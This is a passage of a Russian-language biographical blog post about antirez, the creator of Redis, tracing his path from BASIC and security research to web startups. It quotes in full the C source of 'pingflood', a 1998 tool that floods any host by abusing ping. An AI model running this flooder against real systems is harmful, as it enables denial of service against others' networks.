{"id":353681,"date":"2024-05-20T22:32:53","date_gmt":"2024-05-20T22:32:53","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=353681"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=353681","title":{"rendered":"<span>\u0421\u0423\u0411\u0414 Redis \u0438 \u0435\u0451 \u0430\u0432\u0442\u043e\u0440 antirez, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442 \u0438 \u0444\u0430\u043d\u0442\u0430\u0441\u0442<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-1\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\"><a href=\"https:\/\/habr.com\/ru\/companies\/ruvds\/articles\/758112\/\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/webt\/mc\/zb\/p-\/mczbp-h9sngyh7y4ivem2pvuio0.jpeg\" data-src=\"https:\/\/habrastorage.org\/webt\/mc\/zb\/p-\/mczbp-h9sngyh7y4ivem2pvuio0.jpeg\" data-blurred=\"true\"\/><\/a><\/p>\n<p>  <a href=\"http:\/\/invece.org\/\">\u0421\u0430\u043b\u044c\u0432\u0430\u0442\u043e\u0440\u0435 \u0421\u0430\u043d\u0444\u0438\u043b\u0438\u043f\u043f\u043e<\/a> aka <i>antirez<\/i>\u00a0\u2014 \u0438\u0442\u0430\u043b\u044c\u044f\u043d\u0441\u043a\u0438\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442, \u043f\u0440\u043e\u0436\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u0432 \u041a\u0430\u0442\u0430\u043d\u0438\u0438 (\u043d\u0430 \u043e\u0441\u0442\u0440\u043e\u0432\u0435 \u0421\u0438\u0446\u0438\u043b\u0438\u044f). \u041f\u0440\u043e\u0432\u0438\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u043c\u0435\u0441\u0442\u043e\u043d\u0430\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435 \u043d\u0435 \u043c\u0435\u0448\u0430\u0435\u0442 \u0437\u0432\u0435\u0437\u0434\u0435 IT-\u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0438: \u043e\u043d \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u043d\u0430 \u0432\u0435\u0441\u044c \u043c\u0438\u0440 \u043a\u0430\u043a \u0430\u0432\u0442\u043e\u0440 \u0421\u0423\u0411\u0414 Redis. 46-\u043b\u0435\u0442\u043d\u0438\u0439 <i>antirez<\/i> \u0432\u0445\u043e\u0434\u0438\u0442 \u0432 \u0447\u0438\u0441\u043b\u043e \u0441\u0430\u043c\u044b\u0445 \u0430\u0432\u0442\u043e\u0440\u0438\u0442\u0435\u0442\u043d\u044b\u0445 \u0438 \u0442\u0430\u043b\u0430\u043d\u0442\u043b\u0438\u0432\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u043e\u0432-\u043e\u0434\u0438\u043d\u043e\u0447\u0435\u043a \u0441 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u0438\u043c \u0431\u044d\u043a\u0433\u0440\u0430\u0443\u043d\u0434\u043e\u043c.<\/p>\n<p>  \u0412 2020 \u0433\u043e\u0434\u0443 \u043e\u043d \u0437\u0430\u0432\u044f\u0437\u0430\u043b \u0431\u044b\u043b\u043e \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u0447\u0442\u043e\u0431\u044b \u0446\u0435\u043b\u044b\u043c\u0438 \u0434\u043d\u044f\u043c\u0438 \u043f\u0438\u0441\u0430\u0442\u044c \u043d\u0430\u0443\u0447\u043d\u0443\u044e \u0444\u0430\u043d\u0442\u0430\u0441\u0442\u0438\u043a\u0443. \u041d\u043e \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0432 <a href=\"https:\/\/www.amazon.com\/Wohpe-English-Rimmel-Salvatore-Sanfilippo-ebook\/dp\/B0BQ3HRDPF\">\u043a\u043d\u0438\u0433\u0443<\/a>, \u0432 \u043a\u043e\u043d\u0446\u0435 2022-\u0433\u043e \u0441\u043d\u043e\u0432\u0430 \u0432\u0435\u0440\u043d\u0443\u043b\u0441\u044f \u043a \u043a\u043e\u0434\u0443. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043c\u0435\u0436\u0434\u0443 \u043b\u0438\u0442\u0435\u0440\u0430\u0442\u0443\u0440\u043d\u044b\u043c \u0442\u0432\u043e\u0440\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0441\u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c <a href=\"http:\/\/antirez.com\/news\/135\">\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0449\u0435\u0433\u043e<\/a>.<a name=\"habracut\"><\/a><\/p>\n<p>  \u041f\u0443\u0442\u044c \u0441\u0438\u0446\u0438\u043b\u0438\u0439\u0446\u0430 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u043b \u0432 80-\u0435 \u0433\u043e\u0434\u044b, \u043a\u043e\u0433\u0434\u0430 \u043e\u0442\u0435\u0446, \u0438\u043d\u0436\u0435\u043d\u0435\u0440-\u044d\u043b\u0435\u043a\u0442\u0440\u0438\u043a, \u043d\u0430\u0447\u0430\u043b \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u0443\u0435\u043c\u044b\u043c\u0438 \u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u0430\u043c\u0438 (PLC), \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u043d\u043e\u0439 \u043f\u043b\u0430\u0442\u0435 Z80.<\/p>\n<p>  \u041a\u043e\u0433\u0434\u0430 \u043c\u0430\u043b\u044c\u0447\u0438\u043a\u0443 \u0431\u044b\u043b\u043e \u0448\u0435\u0441\u0442\u044c, \u043e\u0442\u0435\u0446 \u043a\u0443\u043f\u0438\u043b \u043f\u0435\u0440\u0432\u044b\u0439 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 <a href=\"https:\/\/en.wikipedia.org\/wiki\/TI-99\/4A\">TI99\/4A<\/a>, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u043d\u0430\u043f\u0438\u0441\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c \u043d\u0430 BASIC, \u0430 \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0439 \u0421\u0430\u043b\u044c\u0432\u0430\u0442\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b \u0435\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u0443.<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/webt\/vl\/-w\/jw\/vl-wjwgy_g6pf8y-dzjsjb_rj0i.jpeg\" data-src=\"https:\/\/habrastorage.org\/webt\/vl\/-w\/jw\/vl-wjwgy_g6pf8y-dzjsjb_rj0i.jpeg\" data-blurred=\"true\"\/><br \/>  <i><font color=\"#999999\">TI99\/4A<\/font><\/i><\/p>\n<p>  \u041f\u043e\u0442\u043e\u043c \u0431\u044b\u043b\u0438 ZX Spectrum \u0438 Olivetti PC1 Prodest (MS-DOS).<\/p>\n<p>  \u041f\u043e \u043c\u0435\u0440\u0435 \u0432\u0437\u0440\u043e\u0441\u043b\u0435\u043d\u0438\u044f \u043e\u043d \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u043b \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0445\u043e\u0442\u044f \u043f\u043e\u0441\u043b\u0435 14 \u0443\u0432\u043b\u0451\u043a\u0441\u044f \u043f\u0440\u043e\u0447\u0438\u043c\u0438 \u043f\u043e\u0434\u0440\u043e\u0441\u0442\u043a\u043e\u0432\u044b\u043c\u0438 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0430\u043c\u0438 \u0432\u0440\u043e\u0434\u0435 \u043c\u043e\u0442\u043e\u0446\u0438\u043a\u043b\u043e\u0432 \u0438 \u0434\u0435\u0432\u0443\u0448\u0435\u043a, \u043d\u043e \u0432 18 \u043b\u0435\u0442 \u0432\u043d\u043e\u0432\u044c \u043e\u0442\u043a\u0440\u044b\u043b \u0441\u0442\u0440\u0430\u0441\u0442\u044c \u043a \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0430\u043c, \u0437\u0430\u043d\u044f\u0432\u0448\u0438\u0441\u044c 3D-\u043c\u043e\u0434\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u0438\u0433\u0440\u0430\u043c\u0438 \u0438 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u044b\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c. \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f \u043d\u0430 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u0439 \u0444\u0430\u043a\u0443\u043b\u044c\u0442\u0435\u0442 \u0432 \u0423\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0435 \u041f\u0430\u043b\u0435\u0440\u043c\u043e \u043d\u0430\u0447\u0430\u043b \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u0432 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u0435 BASIC\u00a0\u2014 \u044f\u0437\u044b\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0437\u043d\u0430\u043a\u043e\u043c\u044b\u0439 \u0441 \u0434\u0435\u0442\u0441\u0442\u0432\u0430.<\/p>\n<p>  \u0412 \u043e\u0434\u043d\u043e\u0439 \u0438\u0437 <a href=\"https:\/\/blog.brachiosoft.com\/en\/posts\/redis\/\">\u0441\u0442\u0430\u0442\u0435\u0439<\/a> \u043f\u0440\u043e \u044e\u043d\u043e\u0433\u043e <i>antirez<\/i>&#8216;\u0430 \u0433\u043e\u0432\u043e\u0440\u0438\u0442\u0441\u044f, \u0447\u0442\u043e \u043e\u0434\u043d\u0430\u0436\u0434\u044b \u043e\u043d \u043f\u043e\u0448\u0451\u043b (\u043d\u0430 \u0440\u044b\u043d\u043e\u043a?) \u0437\u0430 \u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043a\u0430\u0440\u0442\u043e\u0439, \u043d\u043e \u043f\u043e \u043e\u0448\u0438\u0431\u043a\u0435 \u043a\u0443\u043f\u0438\u043b \u043c\u043e\u0434\u0435\u043c, \u0430 \u043f\u0440\u043e\u0434\u0430\u0432\u0435\u0446 \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0442\u044c \u0434\u0435\u043d\u044c\u0433\u0438, \u043a\u043e\u0433\u0434\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443. \u0412 90-\u0435 \u0433\u043e\u0434\u044b \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0435\u0449\u0451 \u0431\u044b\u043b \u0432\u0435\u0441\u044c\u043c\u0430 \u043d\u0438\u0448\u0435\u0432\u043e\u0439 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0435\u0439 \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430\u0431\u0438\u0440\u0430\u043b \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u0442\u043e\u0442 \u043c\u043e\u043c\u0435\u043d\u0442 \u0441\u0442\u0430\u043b \u0440\u0435\u0448\u0430\u044e\u0449\u0438\u043c \u0432 \u0436\u0438\u0437\u043d\u0438 \u0441\u0442\u0443\u0434\u0435\u043d\u0442\u0430-\u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440\u0430. \u041e\u043d \u0432\u044b\u0448\u0435\u043b \u0432 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 (\u0438\u043b\u0438 \u043d\u0430 BBS, \u0438\u0441\u0442\u043e\u0440\u0438\u044f \u0443\u043c\u0430\u043b\u0447\u0438\u0432\u0430\u0435\u0442), \u0441\u043a\u0430\u0447\u0430\u043b \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432 Linux \u0438 \u0437\u0430\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u043b\u0441\u044f \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u043c\u0438 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430\u043c\u0438. \u041a\u0443\u043f\u0438\u043b \u043a\u043d\u0438\u0436\u043a\u0443 \u043f\u043e \u0421\u0438 \u0438 \u043d\u0430\u0447\u0430\u043b \u0435\u0433\u043e \u0438\u0437\u0443\u0447\u0430\u0442\u044c. \u0412\u0441\u043a\u043e\u0440\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 <code>ping<\/code>.<\/p>\n<p>  \u0412\u043e\u0442 \u0442\u043e \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u043e\u0435 <a href=\"https:\/\/seclists.org\/bugtraq\/1998\/May\/139\">\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e \u0431\u0430\u0433\u0435<\/a> \u043e\u0442 9\u00a0\u0430\u043f\u0440\u0435\u043b\u044f 1998\u00a0\u0433\u043e\u0434\u0430 \u0432 \u0441\u043f\u0438\u0441\u043a\u0435 \u0440\u0430\u0441\u0441\u044b\u043b\u043a\u0435 Bugtraq. \u0412 \u043d\u0451\u043c \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u043a\u043e\u0434 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043a\u0438 <code>pingflood<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0441\u0438\u043d\u0442\u0430\u043a\u0441\u0438\u0441\u0430 <code>pingflood &lt;hostname><\/code> \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u0444\u043b\u0443\u0434\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u0441\u0430\u0439\u0442, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 <code>ping<\/code>:<\/p>\n<pre><code class=\"cpp\">#include &lt;signal.h>  #define PING \"\/bin\/ping\"  main( int argc, char *argv[] ) {   int pid_ping;    if (argc &lt; 2) {     printf(\"use: %s &lt;hostname>\\n\", argv[0]);     exit(0);   }    if(!(pid_ping = fork()))     execl(PING, \"ping\", argv[1], NULL);    if ( pid_ping &lt;=0 ) {     printf(\"pid &lt;= 0\\n\");     exit(1);   }    sleep (1);  \/* give it a second to start going  *\/   while (1)     if ( kill(pid_ping, SIGALRM) )       exit(1); }<\/code><\/pre>\n<p>  \u0421 \u0442\u043e\u0433\u043e \u0434\u043d\u044f \u043a\u0430\u0440\u044c\u0435\u0440\u043d\u044b\u0439 \u043f\u0443\u0442\u044c \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u043e\u0440\u0430 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f: \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0441\u044f\u0446\u044b \u043e\u043d \u043f\u0440\u043e\u0432\u0451\u043b \u0437\u0430 \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u043b\u0438\u0442\u0435\u0440\u0430\u0442\u0443\u0440\u044b \u043e \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0430\u0445 TCP\/IP, \u0444\u0430\u0439\u0440\u0432\u043e\u043b\u0430\u0445, \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0438 \u0438 \u0438\u043d\u0444\u043e\u0431\u0435\u0437\u0435, \u0430 \u043f\u043e\u0442\u043e\u043c \u0432\u0437\u044f\u043b \u043e\u0442\u043f\u0443\u0441\u043a \u0432 \u0443\u043d\u0438\u0432\u0435\u0440\u0441\u0438\u0442\u0435\u0442\u0435 \u0438 \u043f\u0435\u0440\u0435\u0435\u0445\u0430\u043b \u0432 \u041c\u0438\u043b\u0430\u043d \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 SECLAB, \u0433\u0434\u0435 \u0442\u0440\u0443\u0434\u0438\u043b\u0438\u0441\u044c \u043b\u0443\u0447\u0448\u0438\u0435 \u0438\u0442\u0430\u043b\u044c\u044f\u043d\u0441\u043a\u0438\u0435 \u0445\u0430\u043a\u0435\u0440\u044b. \u0415\u0433\u043e \u043f\u0435\u0440\u0432\u043e\u0439 \u0445\u0430\u043a\u0435\u0440\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043e\u0439 \u0431\u044b\u043b\u0430 <a href=\"https:\/\/nmap.org\/book\/idlescan.html\">Idle Scan<\/a>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u0438\u043c \u0438\u0437 \u0441\u0430\u043c\u044b\u0445 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0430\u0442\u0430\u043a\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u043a\u0430\u043d\u0435\u0440 Nmap, \u0430 \u043f\u043e\u0442\u043e\u043c \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u0442\u0438\u043b\u0438\u0442\u0430 \u2014 <a href=\"https:\/\/github.com\/antirez\/hping\">hping<\/a>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b TCP\/IP \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0435\u0442 \u043e\u0442\u0432\u0435\u0442 \u043e\u0442 \u0436\u0435\u0440\u0442\u0432\u044b. \u041d\u043e \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u043b\u0433\u043e\u0434\u0430 \u0438\u0437\u043c\u0430\u0442\u044b\u0432\u0430\u044e\u0449\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0432 \u043c\u0435\u0433\u0430\u043f\u043e\u043b\u0438\u0441\u0435 21-\u043b\u0435\u0442\u043d\u0438\u0439 \u0441\u0442\u0443\u0434\u0435\u043d\u0442 \u043f\u043e\u043d\u044f\u043b, \u0447\u0442\u043e \u043e\u0444\u0438\u0441\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u043d\u0435 \u0434\u043b\u044f \u043d\u0435\u0433\u043e. \u041e\u043d \u0443\u0432\u043e\u043b\u0438\u043b\u0441\u044f \u0438\u0437 SECLAB \u0438 \u0443\u0441\u0442\u0440\u043e\u0438\u043b\u0441\u044f \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044e <a href=\"https:\/\/en.wikipedia.org\/wiki\/Linuxcare\">Linuxcare<\/a>, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430 \u043e\u043f\u0435\u043d\u0441\u043e\u0440\u0441\u043d\u043e\u0433\u043e \u0441\u043e\u0444\u0442\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0432\u0448\u0435\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e.<\/p>\n<p>  \u0427\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0433\u043e\u0434\u0430 \u0443 \u0421\u0430\u043d\u0442\u044c\u044f\u0433\u043e \u0440\u043e\u0434\u0438\u043b\u0441\u044f \u0440\u0435\u0431\u0451\u043d\u043e\u043a, \u0442\u0430\u043a \u0447\u0442\u043e \u0435\u043c\u0443 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0438\u0437\u0443\u0447\u0430\u0442\u044c \u043d\u043e\u0432\u044b\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0438 \u0438\u0441\u043a\u0430\u0442\u044c \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b, \u043a\u0430\u043a \u0437\u0430\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u0435\u043d\u0435\u0433. \u041e\u043d \u043d\u0430\u0447\u0430\u043b \u0438\u0437\u0443\u0447\u0430\u0442\u044c \u0441\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0441\u0442\u0435\u043a, \u0444\u0440\u043e\u043d\u0442\u0435\u043d\u0434 \u0438 \u0431\u044d\u043a\u0435\u043d\u0434, \u0430 \u0441 \u043d\u0430\u0447\u0430\u043b\u043e\u043c \u0445\u0430\u0439\u043f\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0412\u0435\u0431\u00a02.0 \u043e\u043d\u0438 \u0441 \u0434\u0440\u0443\u0433\u043e\u043c \u043e\u0441\u043d\u043e\u0432\u0430\u043b\u0438 \u0441\u0442\u0430\u0440\u0442\u0430\u043f <a href=\"http:\/\/web.archive.org\/web\/20060615193829\/http:\/\/merzia.com\/\">Merzia<\/a> \u0434\u043b\u044f \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0412\u0435\u0431\u00a02.0 (\u0442\u0435\u043b\u0435\u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0439 \u0433\u0438\u0433\u0430\u043d\u0442 Telecom Italia \u0437\u0430\u043a\u0430\u0437\u0430\u043b \u0443 \u043d\u0438\u0445 \u0434\u0432\u0430 \u043c\u043e\u0434\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430: UGC-\u043d\u043e\u0432\u043e\u0441\u0442\u0438 <a href=\"http:\/\/web.archive.org\/web\/20060718133543\/http:\/\/oknotizie.alice.it\/\">OKNOtizie<\/a> \u0441 \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0437\u0430 \u043a\u0430\u0436\u0434\u0443\u044e \u0441\u0442\u0430\u0442\u044c\u044e, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0430\u0439\u0442 \u0437\u0430\u043a\u043b\u0430\u0434\u043e\u043a <a href=\"http:\/\/web.archive.org\/web\/20060701084712\/http:\/\/segnalo.alice.it\/\">Segnalo<\/a> \u0432 \u0441\u0442\u0438\u043b\u0435 Delicious).<\/p>\n<p>  <img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/lo\/5r\/ll\/lo5rllnxpvkl036haovhq2c_jpu.png\" data-src=\"https:\/\/habrastorage.org\/webt\/lo\/5r\/ll\/lo5rllnxpvkl036haovhq2c_jpu.png\"\/><br \/>  <i><font color=\"#999999\">OKNOtizie \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u043b \u0433\u043e\u043b\u043e\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0437\u0430 \u0441\u0442\u0430\u0442\u044c\u0438\u00a0\u2014 \u043e\u0434\u043d\u0443 \u0438\u0437 \u0440\u0435\u0432\u043e\u043b\u044e\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0446\u0435\u043f\u0446\u0438\u0439 \u0412\u0435\u0431\u00a02.0 \u0438 UGC \u043d\u0430\u0447\u0430\u043b\u0430 2000-\u0445<\/font><\/i><\/p>\n<p>  \u0427\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0443 \u043b\u0435\u0442 <i>antirez<\/i> \u0441 \u0434\u0440\u0443\u0433\u043e\u043c \u0440\u0435\u0448\u0438\u043b\u0438 \u0441\u0444\u043e\u043a\u0443\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u043d\u0430 \u0432\u0435\u0431-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0435 \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0431\u043b\u043e\u0433\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0430 \u0441\u0432\u043e\u0451\u043c \u0441\u0430\u0439\u0442\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438. \u0422\u0430\u043a \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f <a href=\"http:\/\/web.archive.org\/web\/20070217082339\/http:\/\/lloogg.com\/\">LLOOGG<\/a> (2007). \u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e Google Analytics \u0440\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043b\u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u0432 2011-\u043c, \u0430 \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043e\u0441\u0442\u0430\u0432\u0430\u043b\u043e\u0441\u044c \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u043d\u043e\u0432\u0430\u0446\u0438\u0435\u0439 LLOOGG, \u0432\u043e\u0442 \u043a\u0430\u043a \u044d\u0442\u043e \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u043b\u043e:<\/p>\n<div class=\"oembed\">\n<div class=\"tm-iframe_temp\" data-src=\"https:\/\/embedd.srv.habr.com\/iframe\/64f05d632fbe8876a603a343\" data-style=\"\" id=\"64f05d632fbe8876a603a343\" width=\"\"><\/div>\n<\/div>\n<p>\u0418\u043c\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u043d\u0443\u0436\u0434 \u0432\u0435\u0431-\u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0438 